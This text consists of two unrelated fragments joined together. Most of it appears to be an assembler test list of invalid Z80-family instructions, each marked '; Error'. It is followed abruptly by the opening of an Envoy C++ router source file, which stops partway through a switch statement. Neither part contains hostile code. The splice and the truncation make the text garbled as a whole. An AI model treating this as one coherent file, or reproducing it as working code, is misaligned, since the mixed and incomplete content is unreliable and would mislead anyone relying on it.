hl, (hl) ; Error ld hl, (hl+127) ; Error ld hl, (hl-128) ; Error ld hl, (ix) ; Error ld hl, (ix+127) ; Error ld hl, (ix-128) ; Error ld hl, (iy) ; Error ld hl, (iy+127) ; Error ld hl, (iy-128) ; Error ld hl, (sp) ; Error ld hl, (sp+0) ; Error ld hl, (sp+255) ; Error ld hl, ix ; Error ld hl, iy ; Error ld iir, a ; Error ld ix, (sp) ; Error ld ix, (sp+0) ; Error ld ix, (sp+255) ; Error ld ix, hl ; Error ld ixh, -128 ; Error ld ixh, 127 ; Error ld ixh, 255 ; Error ld ixh, a ; Error ld ixh, b ; Error ld ixh, c ; Error ld ixh, d ; Error ld ixh, e ; Error ld ixh, ixh ; Error ld ixh, ixl ; Error ld ixl, -128 ; Error ld ixl, 127 ; Error ld ixl, 255 ; Error ld ixl, a ; Error ld ixl, b ; Error ld ixl, c ; Error ld ixl, d ; Error ld ixl, e ; Error ld ixl, ixh ; Error ld ixl, ixl ; Error ld iy, (sp) ; Error ld iy, (sp+0) ; Error ld iy, (sp+255) ; Error ld iy, hl ; Error ld iyh, -128 ; Error ld iyh, 127 ; Error ld iyh, 255 ; Error ld iyh, a ; Error ld iyh, b ; Error ld iyh, c ; Error ld iyh, d ; Error ld iyh, e ; Error ld iyh, iyh ; Error ld iyh, iyl ; Error ld iyl, -128 ; Error ld iyl, 127 ; Error ld iyl, 255 ; Error ld iyl, a ; Error ld iyl, b ; Error ld iyl, c ; Error ld iyl, d ; Error ld iyl, e ; Error ld iyl, iyh ; Error ld iyl, iyl ; Error ld l', (hl) ; Error ld l', (ix) ; Error ld l', (ix+127) ; Error ld l', (ix-128) ; Error ld l', (iy) ; Error ld l', (iy+127) ; Error ld l', (iy-128) ; Error ld l', -128 ; Error ld l', 127 ; Error ld l', 255 ; Error ld l', a ; Error ld l', b ; Error ld l', c ; Error ld l', d ; Error ld l', e ; Error ld l', h ; Error ld l', l ; Error ld xpc, a ; Error lddrx ; Error lddsr ; Error lddx ; Error ldirscale ; Error ldirx ; Error ldisr ; Error ldix ; Error ldp (-32768), hl ; Error ldp (-32768), ix ; Error ldp (-32768), iy ; Error ldp (32767), hl ; Error ldp (32767), ix ; Error ldp (32767), iy ; Error ldp (65535), hl ; Error ldp (65535), ix ; Error ldp (65535), iy ; Error ldp (hl), hl ; Error ldp (ix), hl ; Error ldp (iy), hl ; Error ldp hl, (-32768) ; Error ldp hl, (32767) ; Error ldp hl, (65535) ; Error ldp hl, (hl) ; Error ldp hl, (ix) ; Error ldp hl, (iy) ; Error ldp ix, (-32768) ; Error ldp ix, (32767) ; Error ldp ix, (65535) ; Error ldp iy, (-32768) ; Error ldp iy, (32767) ; Error ldp iy, (65535) ; Error ldpirx ; Error ldws ; Error lsddr ; Error lsdr ; Error lsidr ; Error lsir ; Error mirror a ; Error mmu -1, -128 ; Error mmu -1, -128 ; Error mmu -1, 127 ; Error mmu -1, 127 ; Error mmu -1, 255 ; Error mmu -1, 255 ; Error mmu -1, a ; Error mmu -1, a ; Error mmu 0, -128 ; Error mmu 0, 127 ; Error mmu 0, 255 ; Error mmu 0, a ; Error mmu 1, -128 ; Error mmu 1, 127 ; Error mmu 1, 255 ; Error mmu 1, a ; Error mmu 2, -128 ; Error mmu 2, 127 ; Error mmu 2, 255 ; Error mmu 2, a ; Error mmu 3, -128 ; Error mmu 3, 127 ; Error mmu 3, 255 ; Error mmu 3, a ; Error mmu 4, -128 ; Error mmu 4, 127 ; Error mmu 4, 255 ; Error mmu 4, a ; Error mmu 5, -128 ; Error mmu 5, 127 ; Error mmu 5, 255 ; Error mmu 5, a ; Error mmu 6, -128 ; Error mmu 6, 127 ; Error mmu 6, 255 ; Error mmu 6, a ; Error mmu 7, -128 ; Error mmu 7, 127 ; Error mmu 7, 255 ; Error mmu 7, a ; Error mmu 8, -128 ; Error mmu 8, -128 ; Error mmu 8, 127 ; Error mmu 8, 127 ; Error mmu 8, 255 ; Error mmu 8, 255 ; Error mmu 8, a ; Error mmu 8, a ; Error mmu0 -128 ; Error mmu0 127 ; Error mmu0 255 ; Error mmu0 a ; Error mmu1 -128 ; Error mmu1 127 ; Error mmu1 255 ; Error mmu1 a ; Error mmu2 -128 ; Error mmu2 127 ; Error mmu2 255 ; Error mmu2 a ; Error mmu3 -128 ; Error mmu3 127 ; Error mmu3 255 ; Error mmu3 a ; Error mmu4 -128 ; Error mmu4 127 ; Error mmu4 255 ; Error mmu4 a ; Error mmu5 -128 ; Error mmu5 127 ; Error mmu5 255 ; Error mmu5 a ; Error mmu6 -128 ; Error mmu6 127 ; Error mmu6 255 ; Error mmu6 a ; Error mmu7 -128 ; Error mmu7 127 ; Error mmu7 255 ; Error mmu7 a ; Error mul ; Error mul d, e ; Error mul de ; Error neg a' ; Error nextreg -128, -128 ; Error nextreg -128, a ; Error nextreg 127, 127 ; Error nextreg 127, a ; Error nextreg 255, 255 ; Error nextreg 255, a ; Error or a', (hl) ; Error or a', (ix) ; Error or a', (ix+127) ; Error or a', (ix-128) ; Error or a', (iy) ; Error or a', (iy+127) ; Error or a', (iy-128) ; Error or a', -128 ; Error or a', 127 ; Error or a', 255 ; Error or a', a ; Error or a', b ; Error or a', c ; Error or a', d ; Error or a', e ; Error or a', h ; Error or a', l ; Error or a, ixh ; Error or a, ixl ; Error or a, iyh ; Error or a, iyl ; Error or hl', de ; Error or hl, de ; Error or ix, de ; Error or ixh ; Error or ixl ; Error or iy, de ; Error or iyh ; Error or iyl ; Error out (c), -1 ; Error out (c), -1 ; Error out (c), 1 ; Error out (c), 1 ; Error outinb ; Error pixelad ; Error pixeldn ; Error pop af' ; Error pop bc' ; Error pop de' ; Error pop hl' ; Error pop ip ; Error pop su ; Error push -32768 ; Error push 32767 ; Error push 65535 ; Error push ip ; Error push su ; Error rdmode ; Error res -1, (hl) ; Error res -1, (hl) ; Error res -1, (ix) ; Error res -1, (ix) ; Error res -1, (ix+127) ; Error res -1, (ix+127) ; Error res -1, (ix-128) ; Error res -1, (ix-128) ; Error res -1, (iy) ; Error res -1, (iy) ; Error res -1, (iy+127) ; Error res -1, (iy+127) ; Error res -1, (iy-128) ; Error res -1, (iy-128) ; Error res -1, a ; Error res -1, a ; Error res -1, a' ; Error res -1, a' ; Error res -1, b ; Error res -1, b ; Error res -1, b' ; Error res -1, b' ; Error res -1, c ; Error res -1, c ; Error res -1, c' ; Error res -1, c' ; Error res -1, d ; Error res -1, d ; Error res -1, d' ; Error res -1, d' ; Error res -1, e ; Error res -1, e ; Error res -1, e' ; Error res -1, e' ; Error res -1, h ; Error res -1, h ; Error res -1, h' ; Error res -1, h' ; Error res -1, ixh ; Error res -1, ixh ; Error res -1, ixl ; Error res -1, ixl ; Error res -1, iyh ; Error res -1, iyh ; Error res -1, iyl ; Error res -1, iyl ; Error res -1, l ; Error res -1, l ; Error res -1, l' ; Error res -1, l' ; Error res 0, a' ; Error res 0, b' ; Error res 0, c' ; Error res 0, d' ; Error res 0, e' ; Error res 0, h' ; Error res 0, ixh ; Error res 0, ixl ; Error res 0, iyh ; Error res 0, iyl ; Error res 0, l' ; Error res 1, a' ; Error res 1, b' ; Error res 1, c' ; Error res 1, d' ; Error res 1, e' ; Error res 1, h' ; Error res 1, ixh ; Error res 1, ixl ; Error res 1, iyh ; Error res 1, iyl ; Error res 1, l' ; Error res 2, a' ; Error res 2, b' ; Error res 2, c' ; Error res 2, d' ; Error res 2, e' ; Error res 2, h' ; Error res 2, ixh ; Error res 2, ixl ; Error res 2, iyh ; Error res 2, iyl ; Error res 2, l' ; Error res 3, a' ; Error res 3, b' ; Error res 3, c' ; Error res 3, d' ; Error res 3, e' ; Error res 3, h' ; Error res 3, ixh ; Error res 3, ixl ; Error res 3, iyh ; Error res 3, iyl ; Error res 3, l' ; Error res 4, a' ; Error res 4, b' ; Error res 4, c' ; Error res 4, d' ; Error res 4, e' ; Error res 4, h' ; Error res 4, ixh ; Error res 4, ixl ; Error res 4, iyh ; Error res 4, iyl ; Error res 4, l' ; Error res 5, a' ; Error res 5, b' ; Error res 5, c' ; Error res 5, d' ; Error res 5, e' ; Error res 5, h' ; Error res 5, ixh ; Error res 5, ixl ; Error res 5, iyh ; Error res 5, iyl ; Error res 5, l' ; Error res 6, a' ; Error res 6, b' ; Error res 6, c' ; Error res 6, d' ; Error res 6, e' ; Error res 6, h' ; Error res 6, ixh ; Error res 6, ixl ; Error res 6, iyh ; Error res 6, iyl ; Error res 6, l' ; Error res 7, a' ; Error res 7, b' ; Error res 7, c' ; Error res 7, d' ; Error res 7, e' ; Error res 7, h' ; Error res 7, ixh ; Error res 7, ixl ; Error res 7, iyh ; Error res 7, iyl ; Error res 7, l' ; Error res 8, (hl) ; Error res 8, (hl) ; Error res 8, (ix) ; Error res 8, (ix) ; Error res 8, (ix+127) ; Error res 8, (ix+127) ; Error res 8, (ix-128) ; Error res 8, (ix-128) ; Error res 8, (iy) ; Error res 8, (iy) ; Error res 8, (iy+127) ; Error res 8, (iy+127) ; Error res 8, (iy-128) ; Error res 8, (iy-128) ; Error res 8, a ; Error res 8, a ; Error res 8, a' ; Error res 8, a' ; Error res 8, b ; Error res 8, b ; Error res 8, b' ; Error res 8, b' ; Error res 8, c ; Error res 8, c ; Error res 8, c' ; Error res 8, c' ; Error res 8, d ; Error res 8, d ; Error res 8, d' ; Error res 8, d' ; Error res 8, e ; Error res 8, e ; Error res 8, e' ; Error res 8, e' ; Error res 8, h ; Error res 8, h ; Error res 8, h' ; Error res 8, h' ; Error res 8, ixh ; Error res 8, ixh ; Error res 8, ixl ; Error res 8, ixl ; Error res 8, iyh ; Error res 8, iyh ; Error res 8, iyl ; Error res 8, iyl ; Error res 8, l ; Error res 8, l ; Error res 8, l' ; Error res 8, l' ; Error ret lo ; Error ret lz ; Error rl (ix), a ; Error rl (ix), b ; Error rl (ix), c ; Error rl (ix), d ; Error rl (ix), e ; Error rl (ix), h ; Error rl (ix), l ; Error rl (ix+127), a ; Error rl (ix+127), b ; Error rl (ix+127), c ; Error rl (ix+127), d ; Error rl (ix+127), e ; Error rl (ix+127), h ; Error rl (ix+127), l ; Error rl (ix-128), a ; Error rl (ix-128), b ; Error rl (ix-128), c ; Error rl (ix-128), d ; Error rl (ix-128), e ; Error rl (ix-128), h ; Error rl (ix-128), l ; Error rl (iy), a ; Error rl (iy), b ; Error rl (iy), c ; Error rl (iy), d ; Error rl (iy), e ; Error rl (iy), h ; Error rl (iy), l ; Error rl (iy+127), a ; Error rl (iy+127), b ; Error rl (iy+127), c ; Error rl (iy+127), d ; Error rl (iy+127), e ; Error rl (iy+127), h ; Error rl (iy+127), l ; Error rl (iy-128), a ; Error rl (iy-128), b ; Error rl (iy-128), c ; Error rl (iy-128), d ; Error rl (iy-128), e ; Error rl (iy-128), h ; Error rl (iy-128), l ; Error rl a' ; Error rl b' ; Error rl c' ; Error rl d' ; Error rl de ; Error rl de' ; Error rl e' ; Error rl h' ; Error rl ixh ; Error rl ixl ; Error rl iyh ; Error rl iyl ; Error rl l' ; Error rla' ; Error rlc (ix), a ; Error rlc (ix), b ; Error rlc (ix), c ; Error rlc (ix), d ; Error rlc (ix), e ; Error rlc (ix), h ; Error rlc (ix), l ; Error rlc (ix+127), a ; Error rlc (ix+127), b ; Error rlc (ix+127), c ; Error rlc (ix+127), d ; Error rlc (ix+127), e ; Error rlc (ix+127), h ; Error rlc (ix+127), l ; Error rlc (ix-128), a ; Error rlc (ix-128), b ; Error rlc (ix-128), c ; Error rlc (ix-128), d ; Error rlc (ix-128), e ; Error rlc (ix-128), h ; Error rlc (ix-128), l ; Error rlc (iy), a ; Error rlc (iy), b ; Error rlc (iy), c ; Error rlc (iy), d ; Error rlc (iy), e ; Error rlc (iy), h ; Error rlc (iy), l ; Error rlc (iy+127), a ; Error rlc (iy+127), b ; Error rlc (iy+127), c ; Error rlc (iy+127), d ; Error rlc (iy+127), e ; Error rlc (iy+127), h ; Error rlc (iy+127), l ; Error rlc (iy-128), a ; Error rlc (iy-128), b ; Error rlc (iy-128), c ; Error rlc (iy-128), d ; Error rlc (iy-128), e ; Error rlc (iy-128), h ; Error rlc (iy-128), l ; Error rlc a' ; Error rlc b' ; Error rlc c' ; Error rlc d' ; Error rlc e' ; Error rlc h' ; Error rlc ixh ; Error rlc ixl ; Error rlc iyh ; Error rlc iyl ; Error rlc l' ; Error rlca' ; Error rr (ix), a ; Error rr (ix), b ; Error rr (ix), c ; Error rr (ix), d ; Error rr (ix), e ; Error rr (ix), h ; Error rr (ix), l ; Error rr (ix+127), a ; Error rr (ix+127), b ; Error rr (ix+127), c ; Error rr (ix+127), d ; Error rr (ix+127), e ; Error rr (ix+127), h ; Error rr (ix+127), l ; Error rr (ix-128), a ; Error rr (ix-128), b ; Error rr (ix-128), c ; Error rr (ix-128), d ; Error rr (ix-128), e ; Error rr (ix-128), h ; Error rr (ix-128), l ; Error rr (iy), a ; Error rr (iy), b ; Error rr (iy), c ; Error rr (iy), d ; Error rr (iy), e ; Error rr (iy), h ; Error rr (iy), l ; Error rr (iy+127), a ; Error rr (iy+127), b ; Error rr (iy+127), c ; Error rr (iy+127), d ; Error rr (iy+127), e ; Error rr (iy+127), h ; Error rr (iy+127), l ; Error rr (iy-128), a ; Error rr (iy-128), b ; Error rr (iy-128), c ; Error rr (iy-128), d ; Error rr (iy-128), e ; Error rr (iy-128), h ; Error rr (iy-128), l ; Error rr a' ; Error rr b' ; Error rr c' ; Error rr d' ; Error rr de ; Error rr de' ; Error rr e' ; Error rr h' ; Error rr hl ; Error rr hl' ; Error rr ix ; Error rr ixh ; Error rr ixl ; Error rr iy ; Error rr iyh ; Error rr iyl ; Error rr l' ; Error rra' ; Error rrc (ix), a ; Error rrc (ix), b ; Error rrc (ix), c ; Error rrc (ix), d ; Error rrc (ix), e ; Error rrc (ix), h ; Error rrc (ix), l ; Error rrc (ix+127), a ; Error rrc (ix+127), b ; Error rrc (ix+127), c ; Error rrc (ix+127), d ; Error rrc (ix+127), e ; Error rrc (ix+127), h ; Error rrc (ix+127), l ; Error rrc (ix-128), a ; Error rrc (ix-128), b ; Error rrc (ix-128), c ; Error rrc (ix-128), d ; Error rrc (ix-128), e ; Error rrc (ix-128), h ; Error rrc (ix-128), l ; Error rrc (iy), a ; Error rrc (iy), b ; Error rrc (iy), c ; Error rrc (iy), d ; Error rrc (iy), e ; Error rrc (iy), h ; Error rrc (iy), l ; Error rrc (iy+127), a ; Error rrc (iy+127), b ; Error rrc (iy+127), c ; Error rrc (iy+127), d ; Error rrc (iy+127), e ; Error rrc (iy+127), h ; Error rrc (iy+127), l ; Error rrc (iy-128), a ; Error rrc (iy-128), b ; Error rrc (iy-128), c ; Error rrc (iy-128), d ; Error rrc (iy-128), e ; Error rrc (iy-128), h ; Error rrc (iy-128), l ; Error rrc a' ; Error rrc b' ; Error rrc c' ; Error rrc d' ; Error rrc e' ; Error rrc h' ; Error rrc ixh ; Error rrc ixl ; Error rrc iyh ; Error rrc iyl ; Error rrc l' ; Error rrca' ; Error rst -1 ; Error rst -1 ; Error rst 10 ; Error rst 10 ; Error rst 11 ; Error rst 11 ; Error rst 12 ; Error rst 12 ; Error rst 13 ; Error rst 13 ; Error rst 14 ; Error rst 14 ; Error rst 15 ; Error rst 15 ; Error rst 17 ; Error rst 17 ; Error rst 18 ; Error rst 18 ; Error rst 19 ; Error rst 19 ; Error rst 20 ; Error rst 20 ; Error rst 21 ; Error rst 21 ; Error rst 22 ; Error rst 22 ; Error rst 23 ; Error rst 23 ; Error rst 25 ; Error rst 25 ; Error rst 26 ; Error rst 26 ; Error rst 27 ; Error rst 27 ; Error rst 28 ; Error rst 28 ; Error rst 29 ; Error rst 29 ; Error rst 30 ; Error rst 30 ; Error rst 31 ; Error rst 31 ; Error rst 33 ; Error rst 33 ; Error rst 34 ; Error rst 34 ; Error rst 35 ; Error rst 35 ; Error rst 36 ; Error rst 36 ; Error rst 37 ; Error rst 37 ; Error rst 38 ; Error rst 38 ; Error rst 39 ; Error rst 39 ; Error rst 41 ; Error rst 41 ; Error rst 42 ; Error rst 42 ; Error rst 43 ; Error rst 43 ; Error rst 44 ; Error rst 44 ; Error rst 45 ; Error rst 45 ; Error rst 46 ; Error rst 46 ; Error rst 47 ; Error rst 47 ; Error rst 49 ; Error rst 49 ; Error rst 50 ; Error rst 50 ; Error rst 51 ; Error rst 51 ; Error rst 52 ; Error rst 52 ; Error rst 53 ; Error rst 53 ; Error rst 54 ; Error rst 54 ; Error rst 55 ; Error rst 55 ; Error rst 57 ; Error rst 57 ; Error rst 58 ; Error rst 58 ; Error rst 59 ; Error rst 59 ; Error rst 60 ; Error rst 60 ; Error rst 61 ; Error rst 61 ; Error rst 62 ; Error rst 62 ; Error rst 63 ; Error rst 63 ; Error rst 64 ; Error rst 64 ; Error rst 9 ; Error rst 9 ; Error sbc a', (hl) ; Error sbc a', (ix) ; Error sbc a', (ix+127) ; Error sbc a', (ix-128) ; Error sbc a', (iy) ; Error sbc a', (iy+127) ; Error sbc a', (iy-128) ; Error sbc a', -128 ; Error sbc a', 127 ; Error sbc a', 255 ; Error sbc a', a ; Error sbc a', b ; Error sbc a', c ; Error sbc a', d ; Error sbc a', e ; Error sbc a', h ; Error sbc a', l ; Error sbc a, ixh ; Error sbc a, ixl ; Error sbc a, iyh ; Error sbc a, iyl ; Error sbc hl', bc ; Error sbc hl', de ; Error sbc hl', hl ; Error sbc hl', sp ; Error sbc ixh ; Error sbc ixl ; Error sbc iyh ; Error sbc iyl ; Error scf f' ; Error scf' ; Error set -1, (hl) ; Error set -1, (hl) ; Error set -1, (ix) ; Error set -1, (ix) ; Error set -1, (ix+127) ; Error set -1, (ix+127) ; Error set -1, (ix-128) ; Error set -1, (ix-128) ; Error set -1, (iy) ; Error set -1, (iy) ; Error set -1, (iy+127) ; Error set -1, (iy+127) ; Error set -1, (iy-128) ; Error set -1, (iy-128) ; Error set -1, a ; Error set -1, a ; Error set -1, a' ; Error set -1, a' ; Error set -1, b ; Error set -1, b ; Error set -1, b' ; Error set -1, b' ; Error set -1, c ; Error set -1, c ; Error set -1, c' ; Error set -1, c' ; Error set -1, d ; Error set -1, d ; Error set -1, d' ; Error set -1, d' ; Error set -1, e ; Error set -1, e ; Error set -1, e' ; Error set -1, e' ; Error set -1, h ; Error set -1, h ; Error set -1, h' ; Error set -1, h' ; Error set -1, ixh ; Error set -1, ixh ; Error set -1, ixl ; Error set -1, ixl ; Error set -1, iyh ; Error set -1, iyh ; Error set -1, iyl ; Error set -1, iyl ; Error set -1, l ; Error set -1, l ; Error set -1, l' ; Error set -1, l' ; Error set 0, a' ; Error set 0, b' ; Error set 0, c' ; Error set 0, d' ; Error set 0, e' ; Error set 0, h' ; Error set 0, ixh ; Error set 0, ixl ; Error set 0, iyh ; Error set 0, iyl ; Error set 0, l' ; Error set 1, a' ; Error set 1, b' ; Error set 1, c' ; Error set 1, d' ; Error set 1, e' ; Error set 1, h' ; Error set 1, ixh ; Error set 1, ixl ; Error set 1, iyh ; Error set 1, iyl ; Error set 1, l' ; Error set 2, a' ; Error set 2, b' ; Error set 2, c' ; Error set 2, d' ; Error set 2, e' ; Error set 2, h' ; Error set 2, ixh ; Error set 2, ixl ; Error set 2, iyh ; Error set 2, iyl ; Error set 2, l' ; Error set 3, a' ; Error set 3, b' ; Error set 3, c' ; Error set 3, d' ; Error set 3, e' ; Error set 3, h' ; Error set 3, ixh ; Error set 3, ixl ; Error set 3, iyh ; Error set 3, iyl ; Error set 3, l' ; Error set 4, a' ; Error set 4, b' ; Error set 4, c' ; Error set 4, d' ; Error set 4, e' ; Error set 4, h' ; Error set 4, ixh ; Error set 4, ixl ; Error set 4, iyh ; Error set 4, iyl ; Error set 4, l' ; Error set 5, a' ; Error set 5, b' ; Error set 5, c' ; Error set 5, d' ; Error set 5, e' ; Error set 5, h' ; Error set 5, ixh ; Error set 5, ixl ; Error set 5, iyh ; Error set 5, iyl ; Error set 5, l' ; Error set 6, a' ; Error set 6, b' ; Error set 6, c' ; Error set 6, d' ; Error set 6, e' ; Error set 6, h' ; Error set 6, ixh ; Error set 6, ixl ; Error set 6, iyh ; Error set 6, iyl ; Error set 6, l' ; Error set 7, a' ; Error set 7, b' ; Error set 7, c' ; Error set 7, d' ; Error set 7, e' ; Error set 7, h' ; Error set 7, ixh ; Error set 7, ixl ; Error set 7, iyh ; Error set 7, iyl ; Error set 7, l' ; Error set 8, (hl) ; Error set 8, (hl) ; Error set 8, (ix) ; Error set 8, (ix) ; Error set 8, (ix+127) ; Error set 8, (ix+127) ; Error set 8, (ix-128) ; Error set 8, (ix-128) ; Error set 8, (iy) ; Error set 8, (iy) ; Error set 8, (iy+127) ; Error set 8, (iy+127) ; Error set 8, (iy-128) ; Error set 8, (iy-128) ; Error set 8, a ; Error set 8, a ; Error set 8, a' ; Error set 8, a' ; Error set 8, b ; Error set 8, b ; Error set 8, b' ; Error set 8, b' ; Error set 8, c ; Error set 8, c ; Error set 8, c' ; Error set 8, c' ; Error set 8, d ; Error set 8, d ; Error set 8, d' ; Error set 8, d' ; Error set 8, e ; Error set 8, e ; Error set 8, e' ; Error set 8, e' ; Error set 8, h ; Error set 8, h ; Error set 8, h' ; Error set 8, h' ; Error set 8, ixh ; Error set 8, ixh ; Error set 8, ixl ; Error set 8, ixl ; Error set 8, iyh ; Error set 8, iyh ; Error set 8, iyl ; Error set 8, iyl ; Error set 8, l ; Error set 8, l ; Error set 8, l' ; Error set 8, l' ; Error setae ; Error setusr ; Error sla (ix), a ; Error sla (ix), b ; Error sla (ix), c ; Error sla (ix), d ; Error sla (ix), e ; Error sla (ix), h ; Error sla (ix), l ; Error sla (ix+127), a ; Error sla (ix+127), b ; Error sla (ix+127), c ; Error sla (ix+127), d ; Error sla (ix+127), e ; Error sla (ix+127), h ; Error sla (ix+127), l ; Error sla (ix-128), a ; Error sla (ix-128), b ; Error sla (ix-128), c ; Error sla (ix-128), d ; Error sla (ix-128), e ; Error sla (ix-128), h ; Error sla (ix-128), l ; Error sla (iy), a ; Error sla (iy), b ; Error sla (iy), c ; Error sla (iy), d ; Error sla (iy), e ; Error sla (iy), h ; Error sla (iy), l ; Error sla (iy+127), a ; Error sla (iy+127), b ; Error sla (iy+127), c ; Error sla (iy+127), d ; Error sla (iy+127), e ; Error sla (iy+127), h ; Error sla (iy+127), l ; Error sla (iy-128), a ; Error sla (iy-128), b ; Error sla (iy-128), c ; Error sla (iy-128), d ; Error sla (iy-128), e ; Error sla (iy-128), h ; Error sla (iy-128), l ; Error sla a' ; Error sla b' ; Error sla c' ; Error sla d' ; Error sla e' ; Error sla h' ; Error sla ixh ; Error sla ixl ; Error sla iyh ; Error sla iyl ; Error sla l' ; Error sli (ix), a ; Error sli (ix), b ; Error sli (ix), c ; Error sli (ix), d ; Error sli (ix), e ; Error sli (ix), h ; Error sli (ix), l ; Error sli (ix+127), a ; Error sli (ix+127), b ; Error sli (ix+127), c ; Error sli (ix+127), d ; Error sli (ix+127), e ; Error sli (ix+127), h ; Error sli (ix+127), l ; Error sli (ix-128), a ; Error sli (ix-128), b ; Error sli (ix-128), c ; Error sli (ix-128), d ; Error sli (ix-128), e ; Error sli (ix-128), h ; Error sli (ix-128), l ; Error sli (iy), a ; Error sli (iy), b ; Error sli (iy), c ; Error sli (iy), d ; Error sli (iy), e ; Error sli (iy), h ; Error sli (iy), l ; Error sli (iy+127), a ; Error sli (iy+127), b ; Error sli (iy+127), c ; Error sli (iy+127), d ; Error sli (iy+127), e ; Error sli (iy+127), h ; Error sli (iy+127), l ; Error sli (iy-128), a ; Error sli (iy-128), b ; Error sli (iy-128), c ; Error sli (iy-128), d ; Error sli (iy-128), e ; Error sli (iy-128), h ; Error sli (iy-128), l ; Error sli ixh ; Error sli ixl ; Error sli iyh ; Error sli iyl ; Error sll (ix), a ; Error sll (ix), b ; Error sll (ix), c ; Error sll (ix), d ; Error sll (ix), e ; Error sll (ix), h ; Error sll (ix), l ; Error sll (ix+127), a ; Error sll (ix+127), b ; Error sll (ix+127), c ; Error sll (ix+127), d ; Error sll (ix+127), e ; Error sll (ix+127), h ; Error sll (ix+127), l ; Error sll (ix-128), a ; Error sll (ix-128), b ; Error sll (ix-128), c ; Error sll (ix-128), d ; Error sll (ix-128), e ; Error sll (ix-128), h ; Error sll (ix-128), l ; Error sll (iy), a ; Error sll (iy), b ; Error sll (iy), c ; Error sll (iy), d ; Error sll (iy), e ; Error sll (iy), h ; Error sll (iy), l ; Error sll (iy+127), a ; Error sll (iy+127), b ; Error sll (iy+127), c ; Error sll (iy+127), d ; Error sll (iy+127), e ; Error sll (iy+127), h ; Error sll (iy+127), l ; Error sll (iy-128), a ; Error sll (iy-128), b ; Error sll (iy-128), c ; Error sll (iy-128), d ; Error sll (iy-128), e ; Error sll (iy-128), h ; Error sll (iy-128), l ; Error sll ixh ; Error sll ixl ; Error sll iyh ; Error sll iyl ; Error sra (ix), a ; Error sra (ix), b ; Error sra (ix), c ; Error sra (ix), d ; Error sra (ix), e ; Error sra (ix), h ; Error sra (ix), l ; Error sra (ix+127), a ; Error sra (ix+127), b ; Error sra (ix+127), c ; Error sra (ix+127), d ; Error sra (ix+127), e ; Error sra (ix+127), h ; Error sra (ix+127), l ; Error sra (ix-128), a ; Error sra (ix-128), b ; Error sra (ix-128), c ; Error sra (ix-128), d ; Error sra (ix-128), e ; Error sra (ix-128), h ; Error sra (ix-128), l ; Error sra (iy), a ; Error sra (iy), b ; Error sra (iy), c ; Error sra (iy), d ; Error sra (iy), e ; Error sra (iy), h ; Error sra (iy), l ; Error sra (iy+127), a ; Error sra (iy+127), b ; Error sra (iy+127), c ; Error sra (iy+127), d ; Error sra (iy+127), e ; Error sra (iy+127), h ; Error sra (iy+127), l ; Error sra (iy-128), a ; Error sra (iy-128), b ; Error sra (iy-128), c ; Error sra (iy-128), d ; Error sra (iy-128), e ; Error sra (iy-128), h ; Error sra (iy-128), l ; Error sra a' ; Error sra b' ; Error sra c' ; Error sra d' ; Error sra e' ; Error sra h' ; Error sra ixh ; Error sra ixl ; Error sra iyh ; Error sra iyl ; Error sra l' ; Error srl (ix), a ; Error srl (ix), b ; Error srl (ix), c ; Error srl (ix), d ; Error srl (ix), e ; Error srl (ix), h ; Error srl (ix), l ; Error srl (ix+127), a ; Error srl (ix+127), b ; Error srl (ix+127), c ; Error srl (ix+127), d ; Error srl (ix+127), e ; Error srl (ix+127), h ; Error srl (ix+127), l ; Error srl (ix-128), a ; Error srl (ix-128), b ; Error srl (ix-128), c ; Error srl (ix-128), d ; Error srl (ix-128), e ; Error srl (ix-128), h ; Error srl (ix-128), l ; Error srl (iy), a ; Error srl (iy), b ; Error srl (iy), c ; Error srl (iy), d ; Error srl (iy), e ; Error srl (iy), h ; Error srl (iy), l ; Error srl (iy+127), a ; Error srl (iy+127), b ; Error srl (iy+127), c ; Error srl (iy+127), d ; Error srl (iy+127), e ; Error srl (iy+127), h ; Error srl (iy+127), l ; Error srl (iy-128), a ; Error srl (iy-128), b ; Error srl (iy-128), c ; Error srl (iy-128), d ; Error srl (iy-128), e ; Error srl (iy-128), h ; Error srl (iy-128), l ; Error srl a' ; Error srl b' ; Error srl c' ; Error srl d' ; Error srl e' ; Error srl h' ; Error srl ixh ; Error srl ixl ; Error srl iyh ; Error srl iyl ; Error srl l' ; Error sub a', (hl) ; Error sub a', (ix) ; Error sub a', (ix+127) ; Error sub a', (ix-128) ; Error sub a', (iy) ; Error sub a', (iy+127) ; Error sub a', (iy-128) ; Error sub a', -128 ; Error sub a', 127 ; Error sub a', 255 ; Error sub a', a ; Error sub a', b ; Error sub a', c ; Error sub a', d ; Error sub a', e ; Error sub a', h ; Error sub a', l ; Error sub a, ixh ; Error sub a, ixl ; Error sub a, iyh ; Error sub a, iyl ; Error sub ixh ; Error sub ixl ; Error sub iyh ; Error sub iyl ; Error sures ; Error swapnib ; Error syscall ; Error uma ; Error ums ; Error xor a', (hl) ; Error xor a', (ix) ; Error xor a', (ix+127) ; Error xor a', (ix-128) ; Error xor a', (iy) ; Error xor a', (iy+127) ; Error xor a', (iy-128) ; Error xor a', -128 ; Error xor a', 127 ; Error xor a', 255 ; Error xor a', a ; Error xor a', b ; Error xor a', c ; Error xor a', d ; Error xor a', e ; Error xor a', h ; Error xor a', l ; Error xor a, ixh ; Error xor a, ixl ; Error xor a, iyh ; Error xor a, iyl ; Error xor ixh ; Error xor ixl ; Error xor iyh ; Error xor iyl ; Error
#include "common/router/rds_impl.h" #include <chrono> #include <cstdint> #include <memory> #include <string> #include "envoy/admin/v3/config_dump.pb.h" #include "envoy/api/v2/route.pb.h" #include "envoy/config/core/v3/config_source.pb.h" #include "envoy/config/route/v3/route.pb.h" #include "envoy/config/route/v3/route.pb.validate.h" #include "envoy/extensions/filters/network/http_connection_manager/v3/http_connection_manager.pb.h" #include "envoy/service/discovery/v3/discovery.pb.h" #include "common/common/assert.h" #include "common/common/fmt.h" #include "common/config/api_version.h" #include "common/config/utility.h" #include "common/config/version_converter.h" #include "common/http/header_map_impl.h" #include "common/protobuf/utility.h" #include "common/router/config_impl.h" namespace Envoy { namespace Router { RouteConfigProviderSharedPtr RouteConfigProviderUtil::create( const envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& config, Server::Configuration::FactoryContext& factory_context, const std::string& stat_prefix, RouteConfigProviderManager& route_config_provider_manager) { switch (config.route_specifier_case()) { case envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager:: RouteSpecifierCase::kRouteConfig: return route_config_provider_manager.createStaticRouteConfigProvider(config.route_config(), factory_context); case envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager:: RouteSpecifierCase::kRds: return 